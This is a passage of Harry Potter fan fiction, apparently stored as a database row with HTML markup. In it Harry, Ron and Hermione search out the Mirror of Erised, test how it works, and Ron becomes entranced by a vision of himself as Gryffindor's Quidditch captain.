eyes at his antics and turned to Harry.</p>\n\n<p>&#8220;Ron told me you had a bad dream last night.&#8221; She said. &#8220;You ok?&#8221;</p>\n\n<p>Harry nodded.</p>\n\n<p>&#8220;Yeah, it really wasn&#8217;t too bad. I&#8217;ve had worse before.&#8221; He answered.</p>\n\n<p>Now that he was more awake he realised what had made the dream different than usual. He&#8217;d seen Ron and Hermione with him and his parents in the mirror, and had them seen them all together in his dream.</p>\n\n<p>&#8220;By the way, I tried out the invisibility cloak last night.&#8221;</p>\n\n<p>Now he had both Ron&#8217;s and Hermione&#8217;s full attention.</p>\n\n<p>&#8220;Really?&#8221; Ron asked excitedly, while Hermione gave him a disapproving look. &#8220;Where did you go?&#8221;</p>\n\n<p>&#8220;Well, I went to the library,&#8221;</p>\n\n<p>Ron&#8217;s face fell and he looked sick.</p>\n\n<p>&#8220;Look, where I went isn&#8217;t really important. I want to show you guys something I found on my way back.&#8221; Harry said and stood up.</p>\n\n<p>&#8220;Alright, lets go.&#8221; Ron said. &#8220;but what is it that you found?&#8221;</p>\n\n<p>&#8220;A mirror.&#8221;</p>\n\n<p>Hermione frowned.</p>\n\n<p>&#8220;Why do you want to show us a mirror?&#8221; she asked.</p>\n\n<p>Harry shook his head.</p>\n\n<p>&#8220;Just wait and see.&#8221; He told them.</p>\n\n<p>&nbsp;</p>\n\n<p>@@@@@@@@@@@@@@@@@@@@@@@</p>\n\n<p>&nbsp;</p>\n\n<p>AN- This chapter is up thanks mostly to Bryan Tait, who been, as always, a tremendous help in getting everything right, and also thanks to threats of annoyance from &#8220;anon&#8221;. Lol! :-)</p>\n\n<p>&nbsp;</p>\n\n<p><b>H/H FOREVER!</b></p>\n\n<p>Bye!</p>\n\n<p>&nbsp;</p>\n\n<p>Shades of Grey</p> '),
	(17, 25, ' <br>\n\n\n<p>\n\n</p><p>\n\n<u>Chapter Twenty Five</u>\n\n</p>\n\n<p>\n\n</p><p>\n\n<u>The Mirror</u>\n\n</p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> AN- Anyone that has been following this story for long probably has a LOT of questions and I WILL answer them in the AN at the end, but for now please try to put any anger you hold towards me aside and just enjoy this LONG overdue chapter. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p>\n\n<b>H/H FOREVER!</b>\n\n</p>\n\n<p>\n\n</p><p> Bye! </p>\n\n<p>\n\n</p><p> Shades of Grey </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> It turned out to be much harder to find the room with the mirror than Harry had expected and the trio spent quite a while taking different routes from the library to the common room and back, in hopes of finding the path Harry had taken last night in his haste to elude Filch. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> After two hours of fruitless searching Ron was ready to give up (Hogwarts <i>is, </i>after all a <i>huge</i> castle and magical to boot). </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Come <i>on</i>, guys! Let\'s just go back to the common room,&#8221; he whined. &#8220;There\'s no <i>way</i> we\'re gonna find this place; after all, it could be like one of those places that Fred and George have talked about. The ones that only appear at certain times and besides, it\'s not worth all this effort just for a dumb old mirror anyway. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Hermione rolled her eyes and glared at Ron. &#8220;You\'re so lazy, Ron!&#8221; she exclaimed. &#8220;I\'m sure we\'ll find it eventually, you just have to learn to have patience.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry only smiled at his friends\' antics as they launched themselves into their latest quarrel and pondered the feeling of actually <i>having</i> friends. Ron and Hermione may have been his friends for months now, but Harry still found himself amazed at how <i>great</i> it felt to know that there were people who truly cared about what happened to him and actually found his presence enjoyable. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Of course the more he learned about how most people acted towards others the more he realized that the way Ron and Hermione treated him wasn\'t quite as unusual as Harry had at first thought it to be. They treated him like a friend, not like a nuisance, and certainly not like a legend, and it was this fact more than any other that made their friendship even more wonderful to Harry. Harry knew that how he acted most of the time caused his friends to worry about him, but it was hard for him to act differently. After all it isn\'t easy to change behaviour formed through years of mistreatment. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ron and Hermione now understood that he was just used to being silent all the time because that was the safest course for him around the Dursleys, but they also made it quite clear that <i>they</i> weren\'t the Dursleys. After having their little talk on the first day of the Christmas Holidays, Hermione had asked Harry to at least <i>try</i> to speak his mind more often, Ron had also eagerly agreed hoping that Harry might become an ally in his usual `friendly discussions\' with Hermione. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> With a jolt, Harry realized that his most recent dream had mirrored his friends\' thoughts of the Dursleys and how, though they were not present, they were still holding Harry back in some ways. Such as how he tended to try to do what others wanted him to instead of acting upon his own thoughts and feelings. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Just as he had in his dream, Harry felt a spark of something deep within him rebel at the very thought of being controlled. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &lt;<i>I swear on all that I am that I will </i><b><i>never</i></b><i> be controlled!&gt;</i> he vowed, the same as he had done in his dream. &lt;<i>I will be my own person and always do what </i><b><i>I</i></b><i> think is right!&gt;</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry shuddered in a sort of pleasure as the feeling within him seemed to swell inside him and flash, like lightning about to strike, before it dimmed again leaving him feeling energized and oddly - <i>free?</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i></i>\n\n</p>\n\n<p>\n\n</p><p> With Harry lost in his thoughts and reflections, and Ron and Hermione lost in another of their ridiculus arguments (at least Harry found them ridiculus), the trio walked right by the room they were looking for&#8230; or at least they <i>would</i> have if the suit of knight\'s armour that stood a few doors down the hall hadn\'t lowered his lance in front of Ron, who was so preoccupied with his argument with Hermione that he walked right into it. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Owww!&#8221; Ron complained as he rubbed the side of his head and glared at the knight. &#8220;Grr! You stupid - piece of junk, I\'ll fix you!&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ron searched through the many pockets of his robes and pulled out his wand, brandishing it at the offending armour. Harry grinned at Ron\'s antics and Hermione laughed out loud. Before Ron did anything though, the knight held its hand up and waved it, as if to say `No, wait!\', and then pointed back down the way that the trio had come. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ron frowned and looked down the hall, then back to the knight in confusion. Harry looked down the hall as well and nearly smacked himself when he did. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Uh, sorry, guys, but we just found it.&#8221; Harry admitted, sweat dropping. ( ^_^\' ) </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Now it was Ron\'s turn to smirk at Harry\'s mistake. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry turned from his friends to the set of armour and bowed his head to it. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Thank you for your help.&#8221; He said, &#8220;I owe you one.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> In turn the knight\'s armour shook his head and bowed to Harry, `It was no problem.\', it seemed to say. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry and Hermione smiled, both of them still amused by how things were so different in the Magical World, a place where just about anything could and frequently did happen, while Ron smiled, just happy that his friends were happy. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> They walked back up the passageway until Harry stopped outside of a door and turned to Ron and Hermione. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Ok, I don\'t know how that suit knew what we were looking for, but there\'s a <i>lot</i> of dust in here and if we disturb any of it someone will probably realise that we\'ve been in here.&#8221; He explained. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Wait a minute,&#8221; Hermione said looking apprehensive &#8220;are you saying that we\'re not supposed to go in here?&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry opened his mouth to answer before closing it as he realized that, as far as <i>he</i> knew, they weren\'t forbidden from going anywhere in the castle other than the third floor corridor, as long as it wasn\'t past curfew. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Well - I don\'t <i>think</i> there\'s a rule against it.&#8221; He said, &#8220;but&#8230; I just kind of get the feeling that the mirror in here was put here to keep it hidden.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ron rolled his eyes at the two. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Jeeze! Are we not Gryffindors?&#8221; he demanded. &#8220;Why are you two so worried? If we\'re not allowed in here and we\'re caught, then we\'ll lose some house points, or get a detention at the worst! Lets go! I wanna see what\'s so special about this bloody mirror that we\'ve spent so much time looking for.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ron pushed past the two and opened the door slowly, being careful not to kick up too much of the dust, despite his continuing mumbling about overcautious Gryffindors. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> The trio entered the old classroom and closed the door behind them. The room was the same as Harry had left it the night before and the three of them walked, side-by-side, up to the mirror and stood before it. The surface of the mirror seemed to shimmer for just a moment when the three of them came up to it. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Looking at his reflection in the mirror, Harry expected to see the same thing he\'d seen before. Instead he saw only what any normal mirror would have shown: three good friends standing together. Glancing to his sides Harry could tell by their expressions that his friends weren\'t seeing anything out of the ordinary either. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ron looked blankly at their reflection for a moment before turning back to Harry. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;So would you like to explain just what it is that\'s so special about this mirror that we\'re missing lunch to look at it?&#8221; he asked arching an eyebrow at Harry. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry could only frown and shake his head. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Sorry.&#8221; He apologized, &#8220;but I swear it worked differently last night&#8230;&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;How, exactly, did it work differently last night, Harry?&#8221; Hermione asked. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Well, I had my invisibility cloak on when I came to this room and I wanted to look in the mirror and <i>not</i> see myself in it,&#8221; he said, &#8220;but when I looked into it I saw both myself and&#8230; other people.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry paused for a moment to collect his thoughts and Ron and Hermione both waited for him to go on. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;I saw both of you with me, and behind the three of us I saw&#8230; I saw my parents and you guys too&#8230;&#8221; Harry sighed heavily. &#8220;That was when I - decided to leave.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Now both Ron and Hermione looked thoughtful. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Why would it show you that?&#8221; Hermione wondered aloud. &#8220;I\'d say it was showing you your family and your ancestors, but then it wouldn\'t have shown you Ron and I.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;I haven\'t been able to figure it out either.&#8221; Harry admitted, &#8220;and I don\'t understand why it\'s just a normal mirror now either.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Yeah.&#8221; Hermione agreed, &#8220;It doesn\'t make any sense that it would work differently now.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Well, you said that you were wearing your invisibility cloak when you were here last time, right?&#8221; asked Ron. &#8220;Maybe the cloak and the mirror worked together to produce a different effect?&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry and Hermione looked at him in surprise. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;What?&#8221; he asked when he noticed their stares. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Harry? Is it just me or did Ron actually sound <i>intelligent</i> for a moment there?&#8221; Hermione asked teasingly. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry could only smile in response as he shook with silent laughter. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ron\'s face turned a red so brilliant it rivalled his hair and tried to glare at the two, but the corners of his mouth kept twitching and trying to smile, ruining the effect entirely. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Anywho,&#8221; Hermione went on, &#8220;I don\'t understand why Harry\'s invisibility cloak would have any effect on the mirror.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Now it was Harry and Ron\'s turn to stare in mock surprise. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;What? <i>Hermione Granger</i> doesn\'t understand something that <i>I</i> said?&#8221; Ron exclaimed with a grin and great sarcasm. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Oh shut it!&#8221; Hermione muttered, but smiled at the same time. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ron shook his head and rolled his eyes. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;I keep forgetting how much there is that the two of you don\'t know about magic.&#8221; He sighed. &#8220;Harry\'s cloak may only affect Harry and whomever or whatever else is under it, but its magic still extends beyond the cloak itself. The same happens with any type of magic that\'s permanent.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry listened intently, eager to pick up any bit of knowledge about the wizarding world that might help him fit in better. Hermione on the other hand was still frowning at Ron in confusion. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;How do you know that? You <i>never</i> do any reading!&#8221; she demanded. &#8220;You hardly even do your homework!&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ron took a breath and the two looked as if they were getting ready for another one of their arguments before Harry cut in. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Not everything that is learned, is learned from a book, Hermione.&#8221; He told her gently. &#8220;Did you ever learn how to ride a bicycle?&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Hermione nodded, still looking confused and now a little indignant at Harry\'s apparent disrespect for `her\' books. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;You didn\'t learn from a book did you?&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Almost immediately Hermione\'s look of confusion turned to a look of sudden understanding, and she smiled and nodded. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;I guess there\'s a lot that you learn about magic by growing up in a magical family. Right, Ron?&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;I guess so.&#8221; Ron shrugged with a smirk </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> While the Trio smiled at each other, sharing a moment of closest friendship, they didn\'t notice the mirror beside them shimmer once more, showing briefly three adults in their place. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> One, though smaller than Hagrid, was a giant of a man with wild red hair and a grin that was almost <i>ferocious</i> in its intensity. His bright blue eyes seemed to shout a warning to any foolish enough to cross those the man was loyal to. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Another, quite <i>obviously</i> a woman, was shorter than the two others. She had rich brown hair and cinnamon eyes that seemed to absorb and examine everything she saw, remembering it and filing it away for later use. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> The one in the middle was a man. He was tall, though not as tall as the other man, and he wasn\'t as muscular either, though he certainly didn\'t look physically weak, but something about his stance or the way he held himself seemed to hold a sort of liquid power. As if he was relaxed yet on the edge of sudden action at the same time, like lightning waiting for a reason to strike. His hair, more wild and erratic than should have been possible, was a black so dark and pure that it seemed to be made of the very shadows themselves. But the face drew the most attention, not for its distinctive scar, but for its intensity of expression. Every part of it seemed to express an unbelievable love and enjoyment of life and <i>everything</i> that came with it. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Before any of the three saw it, the mirror flashed and once again reflected only what was in front of it. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> The three of them often got lost in their discussions, completely forgetting whatever they had been doing before and they would likely have gone on discussing the differences between the ways each of them grew up if it wasn\'t for the dust that was kicked up as Hermione leaned against one of the desks in the room. The Trio coughed and choked on the dust until Ron was able to squeak out a cleaning charm between bouts of coughing. His mother had insisted that all of her children learn it and practice using it on their messy rooms as soon as they started at Hogwarts. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Ahh.&#8221; Hermione took a deep breath of dust free air. &#8220;Thanks, Ron.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ron nodded as he caught his breath. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;So what do you say we figure this mirror out and then get out of here.&#8221; He asked. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Sure.&#8221; Harry answered. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Definitely.&#8221; Hermione agreed. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> They turned back to the mirror. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Hmmm, that\'s odd.&#8221; Hermione commented, pointing out the writing on the frame of the mirror that she had noticed before. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220; `<i>Erised stra ehru oyt ube cafru oyt on wohsi.</i>\' I wonder what it means?&#8221; asked Ron. &#8220;Its not Latin, that\'s for sure, but it doesn\'t look like any language that <i>I</i> know of, even though the letters are all in the basic alphabet.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Well if we can\'t figure that part out right now we should try something else.&#8221; Hermione said in her usual business like manner that she donned whenever faced with a puzzle. &#8220;Did you happen to bring your cloak, Harry?&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry nodded and pulled the folded cloak from one of the pockets in his robes. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Okay then, we\'ll put the cloak over us and see what happens.&#8221; Hermione explained and took the cloak, throwing it around herself, Harry and Ron. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> They watched the mirror expectantly, waiting to see what, if anything, would appear. Other than the fact that the mirror continued to show their reflections, despite the cloak, nothing unusual happened. The Trio sighed in unison. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Hermione was disappointed that her idea hadn\'t helped, but looked determined nonetheless. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Fine, so that didn\'t work. We\'ll just have to try something else.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Like what?&#8221; Ron asked. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Well, first we can try to reproduce what happened last night as closely as possible.&#8221; Continued Hermione after a moment\'s thought. &#8220;Harry, Ron and I will stay at the side of the room and you go out, then come back in with your cloak on and try to do just what you did before. Okay?&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Alright.&#8221; Harry nodded. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Hermione pulled Ron out from under the cloak and to the side of the room then turned to the door and watched as it seemed to open by its self and then closed again as Harry left. A moment later the door opened and closed silently and Ron and Hermione watched the floor for Harry\'s footsteps in the dust. They didn\'t see anything until there was a small stirring of the dust when Harry came to a stop in front of the mirror. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> There was a moment of silence then a distortion in the air, and then Harry was visible. He was standing in front of the mirror with his cloak held tightly in one hand. Harry\'s expression, which was difficult to read at the best of times, was now completely blank, which made his friends think that he was hiding his reaction more than he usually did. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry turned and looked at Ron and Hermione, seeming relived to look away from the mirror. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;It\'s working now.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> His voice was monotone and sounded oddly strained. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;You can see the same thing you could before?&#8221; Ron whispered as if talking out loud might alert the mirror to his presence and make it stop doing&#8230; whatever it was doing. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Even without the cloak on?&#8221; added Hermione, also whispering. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Yes. I can see Ron and you, and all my relatives, and - and my parents.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Hermione groaned in frustration. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;I don\'t get it.&#8221; Ron complained. &#8220;Does it only work for you? And what is it supposed to be showing you?&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;You\'d know more about this kind of magic than me or Hermione, Ron.&#8221; Was Harry\'s answer. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;He\'s right, Ron. I\'m as lost as him.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ron scratched his head a moment, thinking, then shrugged. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Why don\'t we just try it one at a time?&#8221; he suggested. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Works for me.&#8221; Agreed Harry and he quickly stepped back from the mirror. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ron looked back and forth between Harry and Hermione, who were both looking at him expectantly. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;I suppose I\'ll go next?&#8221; he asked, but it was more of a statement than a question. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ron took a deep breath, closed his eyes and squared his shoulders, then stepped before the mirror. Still squinting, Ron slowly opened one eye wide enough to see the mirror, as if afraid of what he might see. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> The moment he saw his reflection though his eyes snapped wide open and his jaw went slack as he stared into the mirror, as though transfixed by what he saw. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p>\n\n<b>*Ron\'s POV*</b>\n\n</p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &lt; <i>Damn it!</i> &gt; Ron thought to himself. &lt; <i>Why am </i>I<i> always the one who has to be the chizpurfle? Well, here goes.</i> &gt; (Wizards often use chizpurfles in magical experiments much like muggles used guinea pigs. The practice is still allowed as there is little magic that the chizpurfle cannot handle given time to absorb it.) </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ron took a breath and closed his eyes, stepping in front of the mirror. Not knowing what to expect he cracked one eye open a bit to peer at his reflection. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> At first he saw just his reflection, but it took only a second to realize that, although it was certainly still <i>him</i> in the mirror, he looked vastly different from the way he looked for real. He opened both eyes fully to get a better look and what he saw struck him speechless. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Before him in the mirror was his reflection, but it seemed - <i>older</i> somehow, and instead of a tall gangly youth, dressed in dusty school robes, Ron saw a tall and solid young man standing in a spotlight and the way he held himself showed an agility or grace despite his height. He was dressed in different robes too. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &lt; <i>Quidditch robes! I\'m on the Quidditch team!</i> &gt; Ron thought happily. &lt; <i>And I\'m wearing the captain\'s badge too!</i> &gt; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> After managing to look at something other than the robes and badge Ron saw that his reflection was holding something. In one arm was the school\'s Quidditch cup, in the other was the house cup - he\'d won them both for Gryffindor! Beside the `mirror Ron\' were his parents and siblings, all smiling at him proudly and congratulating him. On the other side of his reflection and closer to the surface of the mirror were Harry and Hermione. Hermione was carrying the thickest book Ron had ever seen. Harry was right up next to Hermione with his arm around her and around Harry Ron saw shadows of people patting Harry on the back or resting an arm on his shoulders and he knew that they were the caring family that Harry needed. Both of his friends were smiling at him and cheering for his success. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Ron!&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ron began to wonder if perhaps the mirror showed the future of whoever looked into it. He felt someone tugging at his robes, but he waved them away, he had important things on his mind. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;<b><i>Ron!</i></b>&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p>\n\n<b>*Third Person POV*</b>\n\n</p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;<b><i>Ron!</i></b>&#8221; Harry yelled, jerking his friend away from the mirror. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry and Hermione had waited for a few minutes after Ron looked into the mirror, but when he still hadn\'t moved in all that time and his expression had remained blank and glassy they started calling him. Starting to get worried, Hermione had tugged on his robes to get his attention but Ron had only brushed her away without even glancing away from his reflection. Finally Harry had had enough and dragged Ron from the mirror. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;What do you think you\'re doing?&#8221; Ron yelled at him. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Ron, you\'ve been staring at the mirror for three minutes now!&#8221; Hermione told him. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ron blinked at her, startled. &#8220;I was?&#8221; He asked looking lost. &#8220;It felt like just a moment&#8230;&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Well what did you see?&#8221; Harry asked. &#8220;And why didn\'t you answer us? Did you figure out what the mirror is doing?&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;I saw - I saw myself, only older, and I was Gryffindor\'s team captain.&#8221; Ron explained. &#8220;I was holding the Quidditch Cup and the House Cup. My family was there to and so were the both of you&#8230; do you think maybe the mirror shows the future?&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;No way.&#8221; Harry and Hermione answered simultaneously. The three smiled at it then Harry motioned for Hermione to go ahead. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Well I just don\'t think that it\'s possible to predict the future at all. In order to do that the future would have to be already decided, and then predicting it would be pretty pointless.&#8221; Hermione said. &#8220;Even if you <b>did</b> predict the future, then you could change whatever you predicted, which would mean that your prediction became wrong and you hadn\'t really predicted the future. At least that\'s how <b>I</b> see it. What about you, Harry?&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Yes, I agree with that,&#8221; Harry replied nodding. &#8220;Besides that though, I wouldn\'t have seen my parents if it was showing me the future, but I also wonder why you got so caught up in it, Ron?&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;I dunno.&#8221; Ron admitted. &#8220;It was just - cool, I guess.&#8221; He finished lamely. &#8220;I suppose that\'s why it was put in here. A person could waste away in front of that thing is they weren\'t careful. Why don\'t you try it now, Hermione? Maybe whatever you see will help us figure it out.&#8221; </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry frowned at Ron\'s assumption though. If the mirror drew you in by showing you things you wanted&#8230; then why hadn\'t Harry felt any inclination to stay and stare at it? </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &lt;<i> For that 